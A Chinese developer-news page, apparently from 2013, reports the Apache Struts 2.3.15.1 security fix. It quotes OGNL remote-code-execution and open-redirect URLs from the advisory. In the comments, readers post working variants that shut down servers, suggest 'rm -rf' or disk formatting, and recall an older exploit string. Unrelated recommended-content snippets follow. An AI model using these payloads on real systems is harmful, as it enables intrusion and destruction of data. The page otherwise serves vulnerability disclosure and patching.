阅读更多

39顶
4踩

企业架构
Apache Struts团队6月底发布了Struts 2.3.15版本,由于该版本被发现存在重要的安全漏洞,因此该团队今天发布了Struts 2.3.15.1安全更新版本。



该版本修复的主要安全漏洞如下:

1.  通过在参数前面加上“action:”/“redirect:”/“redirectAction:”前缀,以实现远程代码执行,如下:

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}





2.  通过在参数前面加上“redirect:”/“redirectAction:”前缀,以实现开放式重定向,如下:

http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/

http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23




详细漏洞信息:

建议开发者将所有Struts 2应用程序升级至最新版本。

如果你从其他分支迁移至2.3.x分支,需要注意,该分支最低要求Servlet API 2.4、JSP API 2.0和Java 5。

下载地址:http://struts.apache.org/
  • 大小: 8.7 KB
  • 大小: 51.3 KB
  • 大小: 107.5 KB
  • 大小: 101.3 KB
39
4
评论 共 59 条 请登录后发表评论
59 楼 HelloRong 2013-08-26 10:38
Null Nnll
58 楼 dongjinsuo 2013-08-21 16:20
   
57 楼 fhtwins 2013-08-16 14:39
这个漏洞比前几年的Struts2的远程执行任意代码的漏洞:
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

还要可怕!

我在公司内网小试了一下,所以Struts2技术开发的WEB项目,全挂!
56 楼 ysm274376500 2013-07-24 12:59
补充一下:
  上面并不是说只要过滤action、redirect等就行,只是举个例子,关键是要过滤ognl表达式的非法数据。
55 楼 ysm274376500 2013-07-24 12:32
这种漏洞,可以采用Interceptor过滤

String hacker=ServletActionContext.getRequest().getQueryString();
		String resultstr = "success";
		if(hacker.indexOf("action:%{")>-1||hacker.indexOf("redirect:%{")>-1||hacker.indexOf("redirectAction:%{")>-1){
			invocation.getInvocationContext().getValueStack().set(
					"message", "You are a hacker?");
			return Action.ERROR;
		}
54 楼 wnli350 2013-07-24 09:41
aly_boy 写道
从副主编到上面详细解释的人,都真没有职业精神。

你什么时候见安全组织发布一个高危漏洞,同时还很详细的说明怎么来利用这个漏洞,卖弄技巧,不顾可能带来的后果。

你以为编辑们很牛B么,都是从官网拷的
53 楼 leeleo 2013-07-24 09:37
kylix_xp 写道
struts2这种垃圾框架早该废除了

那你先搞一个比这个好的出来,而且是开源的框架~~真是无语~
52 楼 venus224 2013-07-24 08:31
kylix_xp 写道
struts2这种垃圾框架早该废除了

对你无语
51 楼 kylix_xp 2013-07-23 15:27
struts2这种垃圾框架早该废除了
50 楼 leifeng2 2013-07-23 13:03
http://localhost:8080/context/aa.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}
系统架构:SSH,为什么我执行类似代码而没有反应?
49 楼 JianbinJava 2013-07-23 11:01
老闻了,,还新闻.
48 楼 bewithme 2013-07-23 10:51
gbwl_cgl 写道
venus224 写道
只有Struts 2.3.15版本会还是Struts 2.0的都会?

都会

没有吧,我在Struts2.1.8的版本上没试出问题
47 楼 diggywang 2013-07-22 15:59
sweat89 写道
SunZh 写道
问题很严重!仅供测试,不负责!
windows服务器关机命令:
http://localhost:8080/context/aa.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}   就可以关机

我擦 还真的可以。。。。。linux环境下呢


Linux一样啊,把('Shutdown','-s','-t','1')改成linux下的命令就行了,如果app是root起来的,直接改成halt,关机!或者rm -rf ~/*,删除home目录下用户所有数据;如果是root,呃,你可以格式化掉整个硬盘...
46 楼 mlw2000 2013-07-22 12:37
qiaoenxin 写道
struts2自从引入了ognl漏洞从来就没有消停过。万恶的ognl。请求参数的解析完全可以废弃ognl。重写参数拦截器才是解决问题的王道。彻底解决安全问题

+1 说白了就是要求把参数set到每个action的属性里去,这个事有必要动用ognl吗,动用ognl,但ognl表达式可以执行任意java代码,这就是问题的根源。
45 楼 qiaoenxin 2013-07-22 11:23
struts2自从引入了ognl漏洞从来就没有消停过。万恶的ognl。请求参数的解析完全可以废弃ognl。重写参数拦截器才是解决问题的王道。彻底解决安全问题
44 楼 kingxip 2013-07-22 08:19
sushi0k 写道
我把原来的Struts2.1.8升级到Struts2.3.15.1的时候遇到了一下问题,找不到解决办法:

在原来的项目中删除的包有:
asm-commons-2.2.3.jar
Commons-fileupload-1.2.jar
Commons-io-1.3.2.jar
Commons-logging-1.0.4.jar
Ognl-2.7.3.jar
Struts2-core-2.1.8.jar
Struts2-json-plugin-2.1.8.jar
Struts2-junit-plugin-2.2.1.jar
Struts2-spring-plugin-2.2.1.jar
Xwork-core-2.1.6.jar

新加进来的包有:
Asm-3.3.jar
Asm-commons-3.3.jar
Commons-fileupload-1.3.jar
Commons-io-2.0.1.jar
Commons-lang-2.4.jar
Commons-lang3-3.1.jar
Commons-logging-1.1.3.jar
Javassist-3.11.0.GA.jar
Ognl-3.0.6.jar
Struts2-core-2.3.15.1.jar
Struts2-json-plugin-2.3.15.1.jar
Struts2-junit-plugin-2.3.15.1.jar
Struts2-spring-plugin-2.3.15.1.jar
Xwork-core-2.3.15.1.jar

项目正常运行。
--------------------------------------------------------
遇到的问题,这个问题在版本更新之前是没有的:
路径A能够正常访问:
http://192.168.0.87/wx/wxtest.html?keyword=asdasd

对路径A进行了urlrewrite配置,如下:
<rule>
    <from>/wx/wxtest/(.*).html?(.*)</from>
    <to type="redirect">/wx/wxtest.html?keyword=$1&amp;asd=$2</to> 
</rule>


访问地址B测试:
http://192.168.0.87/wx/wxtest/aaa.html?bbb

参数keyword=aaa
参数asd=null

问题分析:进行urlrewrite配置后,请求路径中?后面的数据被过滤掉使Action不能正常获取。
但是没进行urlrewrite配置的路径中?后面的参数整个正常传递到Action。

不知道是哪里的问题?





这么长的问题你应该发到问答去比较好。
43 楼 zhujintaozhu 2013-07-21 15:07
玩儿大发了,赶紧改吧!
42 楼 xianqi_h 2013-07-21 12:42
同意找出漏洞,互联网公司涉及struts2的应该注意了。
41 楼 sushi0k 2013-07-20 17:31
我把原来的Struts2.1.8升级到Struts2.3.15.1的时候遇到了一下问题,找不到解决办法:

在原来的项目中删除的包有:
asm-commons-2.2.3.jar
Commons-fileupload-1.2.jar
Commons-io-1.3.2.jar
Commons-logging-1.0.4.jar
Ognl-2.7.3.jar
Struts2-core-2.1.8.jar
Struts2-json-plugin-2.1.8.jar
Struts2-junit-plugin-2.2.1.jar
Struts2-spring-plugin-2.2.1.jar
Xwork-core-2.1.6.jar

新加进来的包有:
Asm-3.3.jar
Asm-commons-3.3.jar
Commons-fileupload-1.3.jar
Commons-io-2.0.1.jar
Commons-lang-2.4.jar
Commons-lang3-3.1.jar
Commons-logging-1.1.3.jar
Javassist-3.11.0.GA.jar
Ognl-3.0.6.jar
Struts2-core-2.3.15.1.jar
Struts2-json-plugin-2.3.15.1.jar
Struts2-junit-plugin-2.3.15.1.jar
Struts2-spring-plugin-2.3.15.1.jar
Xwork-core-2.3.15.1.jar

项目正常运行。
--------------------------------------------------------
遇到的问题,这个问题在版本更新之前是没有的:
路径A能够正常访问:
http://192.168.0.87/wx/wxtest.html?keyword=asdasd

对路径A进行了urlrewrite配置,如下:
<rule>
    <from>/wx/wxtest/(.*).html?(.*)</from>
    <to type="redirect">/wx/wxtest.html?keyword=$1&amp;asd=$2</to> 
</rule>


访问地址B测试:
http://192.168.0.87/wx/wxtest/aaa.html?bbb

参数keyword=aaa
参数asd=null

问题分析:进行urlrewrite配置后,请求路径中?后面的数据被过滤掉使Action不能正常获取。
但是没进行urlrewrite配置的路径中?后面的参数整个正常传递到Action。

不知道是哪里的问题?




40 楼 mlw2000 2013-07-19 18:01
wangxiang243 写道

真可以!!我擦
webwork2会有这样的bug吗?

既然struts 2.0有,那么webwork2也很难幸免。
问题分析见:http://www.inbreak.net/archives/507
在Iteye上的转帖(及额外备注):http://www.iteye.com/topic/1131358

发表评论

您还没有登录,请您登录后再发表评论

相关推荐

  • linux struts2漏洞,Struts2漏洞分析,漏洞波及全系版本

    Struts漏洞分析Apache Struts团队已经发布了Struts 2.3.15.1安全更新版本。在Struts2.3.15.1版本之前,存在着严重的安全漏洞,如果现在一些比较大的网站是用JAVA做的,没有把版本升级,还用的是Strtus2.3.15.1版本...

  • 如何探测类似Struts 2的安全漏洞? JFrog Xray 帮你扫描漏洞,并阻止漏洞上线

    近期Struts 2的高危漏洞闹得沸沸扬扬,阿里云也发布了一则告警,提示 Struts 2存在高危漏洞,距离上一次 Struts2漏洞报出也就是半年前,于是我决定研究下漏洞形成的原理,后来的事实证明,收获不小! ...

  • Struts2重要漏洞

    转载: Struts2被曝重要漏洞,波及全系版本 Apache Struts团队6月底发布了Struts 2.3.15版本,由于该版本被发现存在重要的安全漏洞,因此该团队今天发布了Struts 2.3.15.1安全更新版本。  该版本修复的...

  • struts2 漏洞分析 及解决办法

    1.讨论关于struts 安全问题。 2.黑客文化。 3.如何降低安全漏洞的出现。 4.忠告建议。 题记: 这篇文章本来很早应该和大家见面的,中间由于个人原因调整了系列文章发布时间,实属罪过。为了不误导...

  • struts2 最新漏洞 S2

    昨天struts2爆了一个好大的漏洞,用道哥的话来说就是:“今天下午整个中国的黑客圈像疯了一样开始利用这个漏洞黑网站...Struts2被曝重要漏洞,波及全系版本 官方描述: S2-016:https://cwiki.apache.org/conflu

  • 知道struts2-s2-016-s2-017漏洞之感

    当然这个漏洞应该波及了很多公司,Struts2的流通性太大了,导致很多人关注它,很多人都搞它,漏洞也发现得快,不过反过来想想,有这么多人关注,一点会很快的茁壮成长的吧。不过再这样一而再,再而三的来漏洞,大家...

  • struts2漏洞原理及解决办法

    Struts2被曝存在重大远程任意代码执行安全漏洞,影响Struts2全系版本。而对于此次堪比棱镜事件的危害,安全宝指出,众多大型互联网厂商均存在该漏洞,且影响厂商仍在扩大之中。同时漏洞利用代码已经被强化,可直接通过...

  • 程序世界系列之-struts2安全漏洞引发的安全杂谈(上)

    1.讨论关于struts 安全问题。 2.黑客文化。 3.如何降低安全漏洞的出现。 4.忠告建议。 题记: 这篇文章本来很早应该和大家见面的,中间由于个人原因调整了系列文章发布时间,实属罪过。为了不误导大众文章中间...

  • struts2 最新漏洞 S2-016、S2-017修补方案

    昨天struts2爆了一个好大的漏洞,用道哥的话来说就是:“今天下午整个中国的黑客圈像疯了一样开始利用这...Struts2被曝重要漏洞,波及全系版本 官方描述: S2-016:https://cwiki.apache.org/confluence/display/W...

  • 互联网惨遭Struts高危漏洞摧残

    从7.17号开始,乌云网(www.wooyun.org)开始爆各大网站的struts漏洞。 关于Struts Struts 框架是Apache基金会Jakarta项目组的一个 Open Source项目,它采用MVC模式,帮助 java 开发者利用J2EE开发Web...

  • 级联H桥SVG无功补偿系统在不平衡电网中的三层控制策略:电压电流双闭环PI控制、相间与相内电压均衡管理,级联H桥SVG无功补偿系统在不平衡电网中的三层控制策略:电压电流双闭环PI控制、相间与相内电压均

    级联H桥SVG无功补偿系统在不平衡电网中的三层控制策略:电压电流双闭环PI控制、相间与相内电压均衡管理,级联H桥SVG无功补偿系统在不平衡电网中的三层控制策略:电压电流双闭环PI控制、相间与相内电压均衡管理,不平衡电网下的svg无功补偿,级联H桥svg无功补偿statcom,采用三层控制策略。 (1)第一层采用电压电流双闭环pi控制,电压电流正负序分离,电压外环通过产生基波正序有功电流三相所有H桥模块直流侧平均电压恒定,电流内环采用前馈解耦控制; (2)第二层相间电压均衡控制,注入零序电压,控制通过注入零序电压维持相间电压平衡; (3)第三层相内电压均衡控制,使其所有子模块吸收的有功功率与其损耗补,从而保证所有H桥子模块直流侧电压值等于给定值。 有参考资料。 639,核心关键词: 1. 不平衡电网下的SVG无功补偿 2. 级联H桥SVG无功补偿STATCOM 3. 三层控制策略 4. 电压电流双闭环PI控制 5. 电压电流正负序分离 6. 直流侧平均电压恒定 7. 前馈解耦控制 8. 相间电压均衡控制 9. 零序电压注入 10. 相内电压均衡控制 以上十个关键词用分号分隔的格式为:不

  • GTX 1080 PCB图纸

    GTX 1080 PCB图纸,内含图纸查看软件

  • 深度优化与应用:提升DeepSeek润色指令的有效性和灵活性指南

    内容概要:本文档详细介绍了利用 DeepSeek 进行文本润色和问答交互时提高效果的方法和技巧,涵盖了从明确需求、提供适当上下文到尝试开放式问题以及多轮对话的十个要点。每一部分内容都提供了具体的示范案例,如指定回答格式、分步骤提问等具体实例,旨在指导用户更好地理解和运用 DeepSeek 提升工作效率和交流质量。同时文中还强调了根据不同应用场景调整提示词语气和风格的重要性和方法。 适用人群:适用于希望通过优化提问技巧以获得高质量反馈的企业员工、科研人员以及一般公众。 使用场景及目标:本文针对所有期望提高 DeepSeek 使用效率的人群,帮助他们在日常工作中快速获取精准的答案或信息,特别是在撰写报告、研究材料准备和技术咨询等方面。此外还鼓励用户通过不断尝试不同形式的问题表述来进行有效沟通。 其他说明:该文档不仅关注实际操作指引,同样重视用户思维模式转变——由简单索取答案向引导 AI 辅助创造性解决问题的方向发展。

  • 基于FPGA与W5500实现的TCP网络通信测试平台开发-Zynq扩展口Verilog编程实践,基于FPGA与W5500芯片的TCP网络通信测试及多路Socket实现基于zynq开发平台和Vivad

    基于FPGA与W5500实现的TCP网络通信测试平台开发——Zynq扩展口Verilog编程实践,基于FPGA与W5500芯片的TCP网络通信测试及多路Socket实现基于zynq开发平台和Vivado 2019软件的扩展开发,基于FPGA和W5500的TCP网络通信 测试平台 zynq扩展口开发 软件平台 vivado2019.2,纯Verilog可移植 测试环境 压力测试 cmd命令下ping电脑ip,同时采用上位机进行10ms发包回环测试,不丢包(内部数据回环,需要时间处理) 目前实现单socket功能,多路可支持 ,基于FPGA; W5500; TCP网络通信; Zynq扩展口开发; 纯Verilog可移植; 测试平台; 压力测试; 10ms发包回环测试; 单socket功能; 多路支持。,基于FPGA与W5500的Zynq扩展口TCP通信测试:可移植Verilog实现的高效网络通信

  • Labview液压比例阀伺服阀试验台多功能程序:PLC通讯、液压动画模拟、手动控制与调试、传感器标定、报警及记录、自动实验、数据处理与查询存储,报表生成与打印一体化解决方案 ,Labview液压比例阀

    Labview液压比例阀伺服阀试验台多功能程序:PLC通讯、液压动画模拟、手动控制与调试、传感器标定、报警及记录、自动实验、数据处理与查询存储,报表生成与打印一体化解决方案。,Labview液压比例阀伺服阀试验台多功能程序:PLC通讯、液压动画模拟、手动控制与调试、传感器标定、报警管理及实验自动化,labview液压比例阀伺服阀试验台程序:功能包括,同PLC通讯程序,液压动画,手动控制及调试,传感器标定,报警设置及报警记录,自动实验,数据处理曲线处理,数据库存储及查询,报表自动生成及打印,扫码枪扫码及信号录入等~ ,核心关键词:PLC通讯; 液压动画; 手动控制及调试; 传感器标定; 报警设置及记录; 自动实验; 数据处理及曲线处理; 数据库存储及查询; 报表生成及打印; 扫码枪扫码。,Labview驱动的智能液压阀测试系统:多功能控制与数据处理

  • 华为、腾讯、万科员工职业发展体系建设与实践.pptx

    华为、腾讯、万科员工职业发展体系建设与实践.pptx

  • 基于遗传算法的柔性车间调度优化 附Matlab代码.rar

    1.版本:matlab2014/2019a/2024a 2.附赠案例数据可直接运行matlab程序。 3.代码特点:参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象:计算机,电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。

  • 电网不对称故障下VSG峰值电流限制的柔性控制策略:实现电流平衡与功率容量的优化利用,电网不对称故障下VSG峰值电流限制的柔性控制策略:兼顾平衡电流与功率控制切换的动态管理,电网不对称故障下VSG峰值电

    电网不对称故障下VSG峰值电流限制的柔性控制策略:实现电流平衡与功率容量的优化利用,电网不对称故障下VSG峰值电流限制的柔性控制策略:兼顾平衡电流与功率控制切换的动态管理,电网不对称故障下VSG峰值电流限制的柔性不平衡控制(文章完全复现)。 提出一种在不平衡运行条件下具有峰值电流限制的可变不平衡电流控制方法,可灵活地满足不同操作需求,包括电流平衡、有功或无功恒定运行(即电流控制、有功控制或无功控制之间的相互切),注入电流保持在安全值内,以更好的利用VSG功率容量。 关键词:VSG、平衡电流控制、有功功率控制、无功功率控制。 ,VSG; 峰值电流限制; 柔性不平衡控制; 电流平衡控制; 有功功率控制; 无功功率控制。,VSG柔性控制:在电网不对称故障下的峰值电流限制与平衡管理

Global site tag (gtag.js) - Google Analytics